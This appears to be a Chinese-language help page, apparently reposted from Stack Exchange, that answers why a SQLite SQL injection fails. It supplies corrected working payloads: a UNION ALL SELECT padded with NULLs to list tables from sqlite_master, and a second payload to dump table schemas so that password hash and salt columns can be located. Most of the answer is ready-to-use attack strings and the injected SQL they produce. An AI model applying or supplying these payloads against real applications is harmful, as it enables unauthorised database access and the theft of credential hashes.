为何此SQL注入攻击无效?需获取用户表信息的技术求助
解决SQLite注入获取表名失败的问题
首先,你的注入payload失效主要有两个核心原因,咱们一步步拆解:
1. UNION查询列数不匹配
原SQL查询返回6列(id, name, color, planttype, potsize, shared),但你的UNION ALL SELECT name FROM sqlite_master...只返回1列。SQLite对UNION操作的列数要求严格,列数不一致会直接导致查询报错,注入自然无法生效。
2. 冗余条件导致字段错误
你payload里的OR username = 1是多余的——原plants表很可能没有username字段,这会触发"no such column: username"的错误,直接中断查询。
修正后的注入Payload
针对这两个问题,调整后的payload应该:
- 匹配原查询的6列数(用
NULL填充多余列) - 简化条件,直接闭合LIKE语句并发起UNION
示例payload:
%" UNION ALL SELECT name, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'; --
拼接后的完整SQL(示例)
假设req.user.get('id')是123,拼接后SQL会变成:
SELECT id , name , color , planttype , potsize , shared FROM plants WHERE user_id = 123 AND name LIKE "%%" UNION ALL SELECT name, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'; -- %"
这里:
LIKE "%%"会匹配所有plants表的记录(或者直接让这部分条件为真)UNION ALL追加sqlite_master中的表名,用NULL填充原查询的5个多余列--注释掉后面的%",避免语法错误
额外注意事项
- 如果后续要定位哈希/盐的存储字段,还可以调整payload查询表结构:
%" UNION ALL SELECT sql, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table' AND name='目标表名'; -- - 默认情况下SQLite允许访问
sqlite_master,如果遇到权限问题,需要确认目标环境是否有特殊配置限制
内容的提问来源于stack exchange,提问作者Masa
相关产品推荐
相关产品推荐

